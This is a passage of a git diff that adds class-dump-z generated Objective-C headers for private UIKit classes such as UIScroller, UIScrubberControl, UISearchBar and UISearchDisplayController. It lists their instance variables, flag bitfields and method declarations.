+-(void)sendTouchesShouldBeginForTouches:(id)sendTouches withEvent:(id)event; +-(void)sendTouchesShouldBeginForDelayedTouches:(id)sendTouches; +-(void)enoughTimeElapsed:(id)elapsed; +-(void)dealloc; +-(void)reset; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)_shouldSaveGestureFromExclusion:(id)exclusion; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollViewDelegate.h b/igor/headers/dumpedUIKit/UIScrollViewDelegate.h new file mode 100644 index 0000000..38e476d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollViewDelegate.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIScrollViewDelegate +@optional +-(void)scrollViewDidScroll:(id)scrollView; +-(void)scrollViewWillBeginDragging:(id)scrollView; +-(void)scrollViewDidEndDragging:(id)scrollView willDecelerate:(BOOL)decelerate; +-(void)scrollViewWillBeginDecelerating:(id)scrollView; +-(void)scrollViewDidEndDecelerating:(id)scrollView; +-(void)scrollViewDidEndScrollingAnimation:(id)scrollView; +-(id)viewForZoomingInScrollView:(id)scrollView; +-(void)scrollViewDidEndZooming:(id)scrollView withView:(id)view atScale:(float)scale; +-(BOOL)scrollViewShouldScrollToTop:(id)scrollView; +-(void)scrollViewDidScrollToTop:(id)scrollView; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollViewScrollAnimation.h b/igor/headers/dumpedUIKit/UIScrollViewScrollAnimation.h new file mode 100644 index 0000000..9993447 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollViewScrollAnimation.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIScrollViewScrollAnimation : UIAnimation { +@private + CGPoint _originalOffset; + CGPoint _targetOffset; +} +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIScroller.h b/igor/headers/dumpedUIKit/UIScroller.h new file mode 100644 index 0000000..5658c26 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScroller.h @@ -0,0 +1,255 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIScroller.h" + +@class UIScrollerIndicator; + +@interface UIScroller : UIView { + CGSize _contentSize; + id _delegate; + UIScrollerIndicator* _verticalScrollerIndicator; + UIScrollerIndicator* _horizontalScrollerIndicator; + struct { + unsigned bounceEnabled : 1; + unsigned rubberBanding : 1; + unsigned scrollingDisabled : 1; + unsigned scrollingDisabledOnMouseDown : 1; + unsigned directionalLockEnabled : 1; + unsigned eventMode : 3; + unsigned dragging : 1; + unsigned mouseDragged : 1; + unsigned scrollTriggered : 1; + unsigned dontSelect : 1; + unsigned contentHighlighted : 1; + unsigned lockVertical : 1; + unsigned lockHorizontal : 1; + unsigned keepLocked : 1; + unsigned bouncedVertical : 1; + unsigned bouncedHorizontal : 1; + unsigned mouseUpGuard : 1; + unsigned pushedTrackingMode : 1; + unsigned delegateScrollerDidScroll : 1; + unsigned delegateScrollerAdjustSmoothScrollEndVelocity : 1; + unsigned delegateScrollerShouldAdjustSmoothScrollEndForVelocity : 1; + unsigned offsetIgnoresContentSize : 1; + unsigned usingThumb : 1; + unsigned thumbDetectionEnabled : 1; + unsigned showScrollerIndicators : 1; + unsigned indicatorSubrect : 1; + unsigned indicatorHideInGesture : 1; + unsigned pinIndicatorToContent : 1; + unsigned indicatorStyle : 2; + unsigned multipleDrag : 1; + unsigned showBackgroundShadow : 1; + unsigned cancelNextContentMouseUp : 1; + unsigned displayingScrollIndicators : 1; + unsigned dontResetStartTouchPosition : 1; + unsigned verticalIndicatorShrunk : 1; + unsigned horizontalIndicatorShrunk : 1; + unsigned highlightContentImmediately : 1; + unsigned adjustedEndOffset : 1; + unsigned ignoreNextMouseDrag : 1; + unsigned contentFitDisableScrolling : 1; + unsigned dontScrollToTop : 1; + unsigned scrollingToTop : 1; + unsigned delegateScrollerAdjustScrollToTopEnd : 1; + unsigned autoscrolling : 1; + unsigned reserved : 17; + } _scrollerFlags; + float _scrollHysteresis; + float _scrollDecelerationFactor; + double _scrollToPointAnimationDuration; + float _directionalScrollingAngle; + float _farthestDistance; + float _leftRubberBandWidth; + float _rightRubberBandWidth; + float _topRubberBandHeight; + float _bottomRubberBandHeight; + float _bottomBufferHeight; + CGPoint _initialTouchPosition; + CGPoint _startTouchPosition; + double _startTouchTime; + CGPoint _startOffset; + CGPoint _lastTouchPosition; + double _lastTouchTime; + double _lastUpdateTime; + CGPoint _lastUpdateOffset; + UIView* _lastHighlightedView; + XXStruct_meWoWB _velocity; + XXStruct_meWoWB _previousVelocity; + XXStruct_meWoWB _decelerationFactor; + XXStruct_meWoWB _decelerationLnFactor; + CGPoint _stopOffset; + void* _scrollHeartbeat; + CGRect _indicatorSubrect; + UIView* _scrollerShadows[2]; + UIView* _contentShadows[8]; + id _scrollNotificationViews; + CGSize _gridSize; + XXStruct_meWoWB _gridBounceLnFactor; +} +@property(assign, nonatomic) BOOL scrollsToTop; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)setContentSize:(CGSize)size; +-(CGSize)contentSize; +-(void)setAdjustForContentSizeChange:(BOOL)contentSizeChange; +-(BOOL)adjustForContentSizeChange; +-(void)setOffset:(CGPoint)offset; +-(CGPoint)offset; +-(void)setBottomBufferHeight:(float)height; +-(float)bottomBufferHeight; +-(void)scrollByDelta:(CGSize)delta; +-(void)scrollByDelta:(CGSize)delta animated:(BOOL)animated; +-(void)removeFromSuperview; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(CGPoint)_pinnedScrollPointForPoint:(CGPoint)point; +-(void)scrollPointVisibleAtTopLeft:(CGPoint)topLeft; +-(void)_scrollAnimationEnded; +-(void)scrollPointVisibleAtTopLeft:(CGPoint)topLeft animated:(BOOL)animated; +-(void)scrollRectToVisible:(CGRect)visible animated:(BOOL)animated; +-(void)scrollRectToVisible:(CGRect)visible; +-(void)setScrollToPointAnimationDuration:(double)pointAnimationDuration; +-(double)scrollToPointAnimationDuration; +-(void)setScrollHysteresis:(float)hysteresis; +-(float)scrollHysteresis; +-(void)setEventMode:(int)mode; +-(int)eventMode; +-(void)setAllowsRubberBanding:(BOOL)banding; +-(void)setAllowsVerticalRubberBanding:(BOOL)banding; +-(void)setAllowsHorizontalRubberBanding:(BOOL)banding; +-(void)setAllowsFourWayRubberBanding:(BOOL)banding; +-(void)setDirectionalScrolling:(BOOL)scrolling; +-(BOOL)directionalScrolling; +-(void)setDirectionalScrollingAngle:(float)angle; +-(float)directionalScrollingAngle; +-(void)setScrollingEnabled:(BOOL)enabled; +-(BOOL)scrollingEnabled; +-(BOOL)isScrollEnabled; +-(void)setScrollDecelerationFactor:(float)factor; +-(float)scrollDecelerationFactor; +-(void)setBounces:(BOOL)bounces; +-(BOOL)bounces; +-(void)setGridSize:(CGSize)size; +-(CGSize)gridSize; +-(void)setThumbDetectionEnabled:(BOOL)enabled; +-(BOOL)thumbDetectionEnabled; +-(void)setShowScrollerIndicators:(BOOL)indicators; +-(BOOL)showScrollerIndicators; +-(void)setScrollerIndicatorSubrect:(CGRect)subrect; +-(CGRect)scrollerIndicatorSubrect; +-(void)setScrollerIndicatorsPinToContent:(BOOL)content; +-(BOOL)scrollerIndicatorsPinToContent; +-(void)setScrollerIndicatorStyle:(int)style; +-(int)scrollerIndicatorStyle; +-(void)displayScrollerIndicators; +-(void)setRubberBand:(float)band forEdges:(unsigned)edges; +-(float)rubberBandValueForEdge:(unsigned)edge; +-(BOOL)releaseRubberBandIfNecessary; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(void)setShowBackgroundShadow:(BOOL)shadow; +-(BOOL)showBackgroundShadow; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)_scrollerWillStartDragging; +-(void)_scrollerDidEndDragging; +-(void)mouseDown:(GSEventRef)down; +-(void)setOffsetForDragOffset:(CGPoint)dragOffset withEvent:(GSEventRef)event duration:(float)duration; +-(CGPoint)dragStartOffset; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)gestureStarted:(GSEventRef)started; +-(void)gestureChanged:(GSEventRef)changed; +-(void)gestureEnded:(GSEventRef)ended; +-(void)_popTrackingRunLoopMode; +-(void)mouseUp:(GSEventRef)up; +-(BOOL)_usesDifferentHitTestForGestures; +-(id)_gestureTargetHitTest:(CGPoint)test withEvent:(id)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)canHandleSwipes; +-(int)swipe:(int)swipe withEvent:(GSEventRef)event; +-(BOOL)_commonCancelMouseAndTouchTracking; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(void)cancelNextContentMouseUp; +-(void)contentMouseUpInView:(id)view withEvent:(GSEventRef)event; +-(void)highlightView:(id)view state:(BOOL)state; +-(void)setHighlightContentImmediately:(BOOL)immediately; +-(XXStruct_meWoWB)velocity; +-(BOOL)isScrolling; +-(BOOL)isDecelerating; +-(BOOL)adjustSmoothScrollEnd:(XXStruct_meWoWB)end; +-(BOOL)_scrollToTop; +@end + +@interface UIScroller (Static) +-(void)_hideScrollIndicators; +-(void)_notifyDidScroll; +-(BOOL)_passControlEvents; +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(void)_smoothScroll:(double)scroll; +-(BOOL)_continueScrollingAtOffset:(CGPoint)offset; +-(void)_runLoopModePopped:(id)popped; +-(void)_startTimer:(BOOL)timer; +-(void)_adjustEndOffset; +-(BOOL)_dragging; +-(void)_doContentHighlight; +-(void)_adjustScrollerIndicators:(BOOL)indicators alwaysShowingThem:(BOOL)them; +-(void)_disableScrollingIfEntirelyVisible; +-(void)setAutoscrollContentOffset:(CGPoint)offset; +-(CGPoint)autoscrollContentOffset; +-(CGRect)contentFrameForView:(id)view; +@end + +@interface UIScroller (Internal) ++(void)_registerForNotifications; ++(void)_unregisterForNotifications; +-(void)_adjustBackgroundShadowsForContentSize:(CGSize)contentSize; +-(void)_resetScrollingWithEvent:(GSEventRef)event; +-(void)_stopScrollingNotify:(BOOL)notify dealloc:(BOOL)dealloc pin:(BOOL)pin; +-(BOOL)_scrollsToMakeFirstResponderVisible; +-(BOOL)_alwaysHandleInteractionEvents; +-(BOOL)_isUserScrolling; +-(CGPoint)_initialTouchPosition; +-(id)_topSpecialView; +-(id)_bottomSpecialView; +-(id)_bottomShadowView; +-(void)_adjustSpecialViews; +-(void)_addScrollNotificationView:(id)view; +-(void)_removeScrollNotificationView:(id)view; +-(void)_cancelContentHighlight; +-(BOOL)_isAutoscrolling; +-(void)_setAutoscrolling:(BOOL)autoscrolling; +-(id)_defaultHitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + +@interface UIScroller (UIAutoscrollAdditions) +-(BOOL)_isScrollingEnabled; +@end + +@interface UIScroller (UITextRangeViewScrollerSupport) +-(void)_enableScrollingIfNecessary; +-(void)_disableScrollingIfNecessary; +@end + +@interface UIScroller (UIWebSelectionAutoscroll) +-(int)scrollableDirections; +-(float)maxVelocityInDirection:(int)direction; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollerIndicator.h b/igor/headers/dumpedUIKit/UIScrollerIndicator.h new file mode 100644 index 0000000..54265ae --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollerIndicator.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIScrollerIndicator : UIView { +@private + int _style; +} +-(id)initInScroller:(id)scroller style:(int)style; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrollerScrollAnimation.h b/igor/headers/dumpedUIKit/UIScrollerScrollAnimation.h new file mode 100644 index 0000000..d7852bd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrollerScrollAnimation.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIScrollerScrollAnimation : UIAnimation { +@private + CGPoint _originalOffset; + CGPoint _targetOffset; +} +-(CGPoint)targetOffset; +-(void)setTargetOffset:(CGPoint)offset; +-(void)setOriginalOffset:(CGPoint)offset; +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrubberControl.h b/igor/headers/dumpedUIKit/UIScrubberControl.h new file mode 100644 index 0000000..99b60b9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrubberControl.h @@ -0,0 +1,95 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIOldSliderControl.h" + +@class UIView; + +@interface UIScrubberControl : UIOldSliderControl { +@private + XXUnion_a01swB _sliderAvailableFill; +@protected + double _duration; + float _lastDisplayedWidth; + float _maxTrackWidth; + UIView* _elapsedTimeView; + UIView* _remainingTimeView; + id _delegate; + double _trackingStartTime; + CGPoint _lastUpdatedPoint; + float _valueAvailable; + unsigned _didDrag : 1; + unsigned _sentScrubbingStart : 1; + unsigned _autoSizesToFitDuration : 1; + unsigned _layoutTimeParts : 2; + unsigned _remainingIsDuration : 1; + unsigned _delegateDidEnterScrubbingState : 1; + unsigned _delegateDidChangeScrubValue : 1; + unsigned _delegateShouldBeginScrubbing : 1; + unsigned _endingTracking : 1; + unsigned _showKnob : 1; + unsigned _largeKnob : 1; + unsigned _rightCapIsDownloadCap : 1; + unsigned _requireMomentaryDelay : 1; + unsigned _showFullWidthComponents : 1; + unsigned _alwaysShowAllComponentsForDuration : 1; + unsigned _timeLayoutDisabledCount : 7; + unsigned _timeLayoutSkippedLayout : 1; + unsigned _timeLayoutSkippedForcedLayout : 1; + unsigned _showTimeCentered : 1; + unsigned _leftCapIsDownloadCap : 1; + unsigned _allowsAnyValue : 1; + unsigned _unused : 3; +} ++(BOOL)allowLayeredFillForKnob; +-(id)initWithFrame:(CGRect)frame maxTrackWidth:(float)width showTimes:(BOOL)times knobStyle:(int)style; +-(id)initWithFrame:(CGRect)frame maxTrackWidth:(float)width showTimes:(BOOL)times showKnob:(BOOL)knob; +-(id)createSliderKnobView; +-(void)setPinTimeToOutsideEdges:(BOOL)outsideEdges; +-(void)setShowTimeCenteredInAvailableArea:(BOOL)availableArea; +-(CGRect)sliderBounds; +-(id)imageForSliderPiece:(int)sliderPiece; +-(const XXStruct_NwkmQC*)metrics; +-(void)_resetTimeFrames; +-(void)dealloc; +-(void)setDelegate:(id)delegate; +-(float)scrubValue; +-(void)sizeToFit; +-(void)setDuration:(double)duration; +-(double)duration; +-(double)requiredAutoUpdateDurationForDuration:(double)duration; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)pointInsideKnob:(CGPoint)knob forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInsideKnob:(CGPoint)knob withEvent:(id)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(CGRect)hitRect; +-(CGRect)_rectOfTrack; +-(CGRect)fillBounds; +-(BOOL)_notAllValueAvailable; +-(void)setAllowsAnyValue:(BOOL)value; +-(void)drawSliderPiece:(int)piece inRect:(CGRect)rect; +-(void)_updateAvailableFill; +-(void)_setValue:(float)value andSendAction:(BOOL)action; +-(void)setValue:(float)value animated:(BOOL)animated animationCurve:(int)curve; +-(void)_updateTimes:(BOOL)times; +-(void)disableTimesLayout; +-(void)enableTimesLayout; +-(void)setShowFullWidthComponents:(BOOL)components; +-(void)setShowDuration:(BOOL)duration; +-(void)setScrubbingRequiresMomentaryDelay:(BOOL)delay; +-(void)_sendDelegateDidEnterScrubbingState:(BOOL)_sendDelegate; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)setValueAvailable:(float)available; +@end + diff --git a/igor/headers/dumpedUIKit/UIScrubberTimeView.h b/igor/headers/dumpedUIKit/UIScrubberTimeView.h new file mode 100644 index 0000000..a8f791d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIScrubberTimeView.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIScrubberTimeView : UIView { +@private + NSString* _time; + unsigned _align : 2; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setTime:(id)time; +-(id)time; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchBar.h b/igor/headers/dumpedUIKit/UISearchBar.h new file mode 100644 index 0000000..aaf6bd7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchBar.h @@ -0,0 +1,117 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UISearchBar.h" + +@class NSString, UILabel, UIButton, UIImageView, UITextField, NSArray, UIColor; +@protocol UISearchBarDelegate; + +@interface UISearchBar : UIView { +@private + UITextField* _searchField; + UILabel* _promptLabel; + UIButton* _cancelButton; + id _delegate; + id _controller; + UIColor* _tintColor; + UIImageView* _separator; + NSString* _cancelButtonText; + NSArray* _scopes; + int _selectedScope; + UIView* _background; + UIView* _scopeBar; + UIEdgeInsets _contentInset; + struct { + unsigned barStyle : 3; + unsigned showsBookmarkButton : 1; + unsigned showsCancelButton : 1; + unsigned isTranslucent : 1; + unsigned autoDisableCancelButton : 1; + unsigned showsScopeBar : 1; + unsigned hideBackground : 1; + unsigned combinesLandscapeBars : 1; + unsigned usesEmbeddedAppearance : 1; + } _searchBarFlags; +} +@property(assign, nonatomic) id delegate; +@property(retain, nonatomic) UIColor* tintColor; +@property(assign, nonatomic) BOOL showsScopeBar; +@property(assign, nonatomic) int selectedScopeButtonIndex; +@property(copy, nonatomic) NSArray* scopeButtonTitles; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic, getter=isTranslucent) BOOL translucent; +@property(assign, nonatomic) BOOL showsCancelButton; +@property(assign, nonatomic) BOOL showsBookmarkButton; +@property(copy, nonatomic) NSString* placeholder; +@property(copy, nonatomic) NSString* prompt; +@property(copy, nonatomic) NSString* text; +@property(assign, nonatomic) int barStyle; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setController:(id)controller; +-(id)controller; +-(id)searchField; +-(void)willMoveToSuperview:(id)superview; +-(void)movedToSuperview:(id)superview; +-(void)_hideShowAnimationDidFinish; +-(void)setShowsCancelButton:(BOOL)button animated:(BOOL)animated; +-(void)_setShowsCancelButton:(BOOL)button; +-(void)setBackgroundImage:(id)image; +-(id)backgroundImage; +-(void)setDrawsBackground:(BOOL)background; +-(BOOL)drawsBackground; +-(void)setCombinesLandscapeBars:(BOOL)bars; +-(BOOL)combinesLandscapeBars; +-(void)setUsesEmbeddedAppearance:(BOOL)appearance; +-(BOOL)usesEmbeddedAppearance; +-(void)setCancelButton:(id)button; +-(id)cancelButton; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)_setShowsSeparator:(BOOL)separator; +-(void)layoutSubviews; +-(void)setContentInset:(UIEdgeInsets)inset; +-(UIEdgeInsets)contentInset; +-(void)_setUpScopeBar; +-(void)_scopeChanged:(id)changed; +@end + +@interface UISearchBar (UISearchBarStatic) +-(void)_updateSearchFieldArt; +-(void)_setupSearchField; +-(void)_updateOpacity; +-(BOOL)textFieldShouldBeginEditing:(id)textField; +-(BOOL)textFieldShouldEndEditing:(id)textField; +-(void)_setupPromptLabel; +-(void)_setCancelButtonText:(id)text; +-(void)_setAutoDisableCancelButton:(BOOL)button; +-(void)_setupCancelButton; +-(void)_destroyCancelButton; +-(void)_cancelButtonPressed; +-(void)_bookmarkButtonPressed; +-(void)_searchFieldBeginEditing; +-(void)_searchFieldEndEditing; +-(void)_searchFieldReturnPressed; +-(void)_searchFieldEditingChanged; +-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string; +-(BOOL)canBecomeFirstResponder; +-(BOOL)becomeFirstResponder; +-(BOOL)canResignFirstResponder; +-(BOOL)resignFirstResponder; +-(BOOL)isFirstResponder; +@end + +@interface UISearchBar (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchBarBackground.h b/igor/headers/dumpedUIKit/UISearchBarBackground.h new file mode 100644 index 0000000..2f4a876 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchBarBackground.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIColor, UIImage; + +__attribute__((visibility("hidden"))) +@interface UISearchBarBackground : UIView { +@private + UIColor* _tintColor; + UIImage* _backgroundImage; + unsigned _barStyle : 3; + unsigned _isTranslucent : 1; + unsigned _usesEmbeddedAppearance : 1; +} +@property(retain, nonatomic) UIColor* tintColor; +@property(retain, nonatomic) UIImage* backgroundImage; +@property(assign, nonatomic) BOOL usesEmbeddedAppearance; +@property(assign, nonatomic, getter=isTranslucent) BOOL translucent; +@property(assign, nonatomic) int barStyle; +-(void)dealloc; +-(BOOL)_canDrawContent; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchBarTextField.h b/igor/headers/dumpedUIKit/UISearchBarTextField.h new file mode 100644 index 0000000..ce74893 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchBarTextField.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextField.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UISearchBarTextField : UITextField { +} +-(BOOL)_hasActionForEventMask:(int)eventMask; +-(CGRect)textRectForBounds:(CGRect)bounds; +-(CGRect)editingRectForBounds:(CGRect)bounds; +-(CGRect)leftViewRectForBounds:(CGRect)bounds; +-(CGRect)rightViewRectForBounds:(CGRect)bounds; +-(BOOL)_becomeFirstResponderWhenPossible; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchDisplayController.h b/igor/headers/dumpedUIKit/UISearchDisplayController.h new file mode 100644 index 0000000..69c8a20 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchDisplayController.h @@ -0,0 +1,84 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class UIView, UILabel, UITableView, NSString, UIViewController, UISearchBar; +@protocol UISearchDisplayDelegate, UITableViewDelegate, UITableViewDataSource; + +@interface UISearchDisplayController : NSObject { +@private + UIViewController* _viewController; + UITableView* _tableView; + UIView* _dimmingView; + UISearchBar* _searchBar; + UILabel* _noResultsLabel; + NSString* _noResultsMessage; + id _delegate; + id _tableViewDataSource; + id _tableViewDelegate; + CFArrayRef _containingScrollViews; + float _lastKeyboardAdjustment; + struct { + unsigned pushedRunLoop : 1; + unsigned isRotatingRight : 1; + unsigned isZoomRubberBandEnabled : 1; + unsigned zoomsFromCurrentToMinOrMax : 1; + unsigned updatesScroller : 1; + unsigned isAnimatingZoomFailure : 1; + } _searchDisplayControllerFlags; +} +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) UIViewController* searchContentsController; +@property(readonly, assign, nonatomic) UISearchBar* searchBar; +@property(assign, nonatomic) id searchResultsDataSource; +@property(assign, nonatomic) id searchResultsDelegate; +@property(readonly, assign, nonatomic) UITableView* searchResultsTableView; +@property(copy, nonatomic) NSString* noResultsMessage; +@property(assign, nonatomic) BOOL automaticallyShowsNoResultsMessage; +@property(assign, nonatomic) BOOL noResultsMessageVisible; +@property(assign, nonatomic, getter=isActive) BOOL active; +-(id)init; +-(id)initWithSearchBar:(id)searchBar contentsController:(id)controller; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)_configureSearchBarForTableView; +-(void)_cleanUpSearchBar; +-(void)_configureNewSearchBar; +-(void)setSearchBar:(id)bar; +-(void)setSearchContentsController:(id)controller; +-(id)_containingViewOfClass:(Class)aClass; +-(id)_containingTableView; +-(void)_destroyManagedTableView; +-(void)_disableParentScrollViews; +-(void)_enableParentScrollViews; +-(CGRect)_tableViewFrame; +-(void)_setTableViewVisible:(BOOL)visible inView:(id)view; +-(void)_updateSearchBarForTableViewIndexBar:(id)tableViewIndexBar; +-(void)_indexBarFrameChanged:(id)changed; +-(void)_searchBarSuperviewWillChange; +-(void)_searchBarSuperviewChanged; +-(void)showHideAnimationDidFinish; +-(void)setActive:(BOOL)active animated:(BOOL)animated; +-(void)_keyboardWillShow:(id)_keyboard; +-(void)_keyboardWillHide:(id)_keyboard; +-(void)windowWillAnimateRotation:(id)window; +-(void)windowDidRotate:(id)window; +-(void)searchBarTextDidBeginEditing:(id)searchBarText; +-(void)searchBarCancelButtonClicked:(id)clicked; +-(void)searchBarSearchButtonClicked:(id)clicked; +-(void)searchBar:(id)bar textDidChange:(id)text; +-(void)searchBar:(id)bar selectedScopeButtonIndexDidChange:(int)selectedScopeButtonIndex; +-(void)navigationControllerWillShowViewController:(id)navigationController; +-(void)navigationControllerDidShowViewController:(id)navigationController; +-(void)_updateNoSearchResultsMessageVisiblity; +-(void)_managedTableViewDidScroll; +-(void)_clearViewController; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchField.h b/igor/headers/dumpedUIKit/UISearchField.h new file mode 100644 index 0000000..c758537 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchField.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextField.h" +#import "UIKit-Structs.h" + + +@interface UISearchField : UITextField { +} ++(float)defaultHeight; +-(id)initWithFrame:(CGRect)frame; +-(CGRect)iconRect; +-(CGRect)_textRectExcludingButtonsForBounds:(CGRect)bounds; +-(CGRect)rightViewRectForBounds:(CGRect)bounds; +-(Class)_systemBackgroundViewClass; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UISearchFieldBackgroundView.h b/igor/headers/dumpedUIKit/UISearchFieldBackgroundView.h new file mode 100644 index 0000000..96d696e --- /dev/null +++ b/igor/headers/dumpedUIKit/UISearchFieldBackgroundView.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITextFieldBackgroundView.h" + +@class UIImageView; + +__attribute__((visibility("hidden"))) +@interface UISearchFieldBackgroundView : UITextFieldBackgroundView { +@private + UIImageView* _imageViews[4]; +} 